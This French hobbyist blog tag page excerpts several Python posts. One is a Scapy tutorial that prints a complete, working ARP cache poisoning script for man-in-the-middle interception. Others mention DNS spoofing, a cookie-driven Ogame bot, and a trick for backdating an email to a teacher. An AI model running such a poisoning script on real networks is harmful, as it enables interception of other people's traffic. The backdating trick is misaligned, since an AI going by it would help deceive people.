Articles Taggés ‘python’

monter un serveur PHP en une ligne de commande (ou presque)

24 avril 2010

Dans le genre « news de webg33k » en voici une …

A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l’artillerie lourde apache ou nginx.
» En lire plus:monter un serveur PHP en une ligne de commande (ou presque)

Créer son propre service de mail jetable avec appengine

27 mars 2010

Plop à tous
Au détour d’un article de Korben, j’ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide ;) ).

Le gros problème de ce service : la base de données (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).

L’API fournit, ainsi que l’environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L’un des services proposés par les appengine de google est la réception de mail en http. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de mail jetable de yopmail, j’ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine …

Le but de l’appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l’adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l’adresse expirée, les mails reçût seront automatiquement droppés.

Pour tester le service : en http et en https, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c’est long, mais il faut au moins ça pour combattre le spam ^^).

Le code source étant un peu plus long que mes scripts habituels, j’ai donc ouvert un dépôt SVN (sur google code évidemment ;) ) pour publier les sources.

Envoyer des mails dans le passé

20 mars 2010

Plop à tous …

Aujourd’hui, une astuce de « gros noob », le but est d’envoyer un mail à une date passée ou future, genre pour le rendu d’un devoir à 23h59m59s alors qu’on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat’ … le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, … (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** ….)
» En lire plus:Envoyer des mails dans le passé

Mon apprentissage de python avec Ogame ^^

3 décembre 2009

The kikoolol strike back !! Mon deuxième billets de la soirée …pour pas grand chose en fait.

J’ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame … rien d’illégal bien entendu ^^.
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :

  • Les requêtes HTTP en python avec des headers à partir de zéro
  • Les Threads pour les opérations en parallèle
  • Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)

Pour l’utiliser, il suffit ensuite d’ajouter au source qui vont suivre :

  1. og = Ogame()
  2. og.setSessionCookie(
  3.  "le contenu du cookie phpsessid de votre univers",
  4.  "le contenu du cookie prssess de votre univers",
  5.  "le contenu du cookie loginC de votre univers",
  6.  "le parametre de l'url &session=…",
  7.  "uniXX.ogame.fr"votre#univers
  8. )
  9. Farmer.buildInChainsPlanets(og,["id planete","id planete"],[[4,1,2,4,1,2,4,1,2,4],[4,1,2,4,1,2,4,1,2,4]])

le premier paramètre de buildInChainsPlanets est l’objet og
le second est un tableau de string contenant l’id des planètes à « farmer »
le troisième est un tableau de tableau contenant les séquences des batiments à construire :
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l’electricite.

Et voilà … lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).
» En lire plus:Mon apprentissage de python avec Ogame ^^

Scapy pour forger des paquets en python

6 septembre 2009

Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
  1. from scapy.all import *
  2. import sys
  3. if len(sys.argv) != 3:
  4.         print "Usage: %s ip1 ip2" % sys.argv[0]
  5.         sys.exit(1)
  6.  
  7. def arppoiso(routeur,pigeon):
  8.         mac = getmacbyip(routeur)
  9.         p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
  10.         sendp(p, iface_hint=routeur)
  11.  
  12. arppoiso(sys.argv[1],sys.argv[2])
  13. arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;) ).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :